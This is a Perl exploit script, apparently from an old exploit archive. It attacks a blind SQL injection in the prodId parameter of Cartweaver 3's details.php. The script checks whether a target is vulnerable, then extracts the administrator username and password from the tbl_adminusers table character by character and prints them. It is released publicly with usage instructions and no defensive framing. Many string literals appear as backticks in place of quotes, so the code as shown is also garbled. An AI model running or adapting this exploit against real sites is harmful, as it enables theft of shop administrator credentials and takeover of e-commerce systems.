Cartweaver 3 (prodId) Remote Blind SQL Injection Exploit#!/usr/bin/perl
######################
#
#Cartweaver 3 PHP Blind SQL Injection Substring Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: n/a (brainusing required)
#
##
###Releasing it to the public
##
#
#No error messages are being returned.
#Exploit need a vaild Product ID!
#
#SQL Injection:
#http://[target]/[path]/details.php?prodId=[SQL]
#
##
#Gr33tz go to:
#b!zZ!t, ramon, thund3r, Free-Hack, Sys-Flaw and of course the neverdying h4ck-y0u Team
#
################
use LWP::UserAgent;
my $userAgent = LWP::UserAgent->new;

usage();

$server = $ARGV[0];
$dir = $ARGV[1];
$prod_id =$ARGV[2];


print`\n`;
if (!$dir) { die `Read Usage!\n`; }


$filename =`details.php`;

my $vulnCheck = `http://`.$server.$dir.$filename;

my @Daten = (`61`,`62`,`63`,`64`,`65`,`66`,`67`,`68`,`69`,`6A`,`6B`,`6C`,`6D`,`6E`,`6F`,`70`,`71`,`72`,`73`,`74`,`75`,`76`,`77`,`78`,`79`,`7A`,`3A`,`5F`,`31`,`32`,`33`,`34`,`35`,`36`,`37`,`38`,`39`,`30`,`21`,`23`,`2B`,`28`,`29`,`40`,`2D`,`F5`,`25`,`26`,`2F`,`3F`);

print`[x]Connecting:`;
my $goodSite = $vulnCheck.`?prodId=`.$prod_id.` AND 1=1`;
my $badSite = $vulnCheck.`?prodId=`.$prod_id.` AND 1=0`;

my $Attack1= $userAgent->get($goodSite);
my $Attack2= $userAgent->get($badSite);
if($Attack1->is_success)
{
    print ` Connected \n`;
    print `[x]Vulnerable Check: `;
    
    if($Attack2->content =~ m/No product selected./i &amp;&amp; $Attack1->content !~ m/No product selected./i)
        { print `Vulnerable! \n`; }
    else
        { print `Not Vulnerable or wrong Product ID`; exit;}
}

else
{
    print ` Connection Failed to `.$goodSite.``;
    exit;
}


my $hex=``;
my $length;

print `[x]Bruteforcing Length \n`;

my $lengthCounter = 1;
while(1)
{
    my $url = ``.$vulnCheck.`?prodId=`.$prod_id.`%20and%20LENGTH((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1))=`.$lengthCounter.``;
    my $Attack= $userAgent->get($url);
    my $content = $Attack->content;
    if($content !~ m/No product selected./i)
        { $length=$lengthCounter; last; }
    else
        { $lengthCounter++; }
}

print `[x]Injecting Black Magic \n`;

for($b=1;$b<=$length;$b++)
{
    for(my $u=0;$u<53;$u++)
    {    
        
        my $url = ``.$vulnCheck.`?prodId=`.$prod_id.`%20and%20substring((select%20concat(admin_username,0x3a,admin_password)%20from%20tbl_adminusers%20limit%200,1),`.$b.`,1)%20like%200x`.$Daten[$u].``;
        my $Attack= $userAgent->get($url);
        my $content = $Attack->content;            
        if($content !~ m/No product selected./i)
        {            
            print `[x]Found Char `.$Daten[$u].`\n`;            
            $hex=$hex.$Daten[$u];
            last;    
        }

    }
}

print `[x]Converting \n`;
my $a_str = hex_to_ascii($hex);

@login = split(/\:/, $a_str);

print `[x]Success! \n`;
print `     Username: $login[0]\n`;
print `     Password: $login[1]`;



sub hex_to_ascii ($)
{        
        (my $str = shift) =~ s/([a-fA-F0-9]{2})/chr(hex $1)/eg;
        return $str;
}



sub usage()
{
    print q
    {
    ######################################################
            Cartweaver 3 Remote Blind SQL Injection Exploit    
                          -Written by h0yt3r-                
    Usage: cartweaver.pl [Server] [Path] [Product ID]
    Sample:
    perl Cartweaver.pl www.site.com /cartweaver/ 13
    ######################################################
    };

} 

# milw0rm.com [2008-06-14]
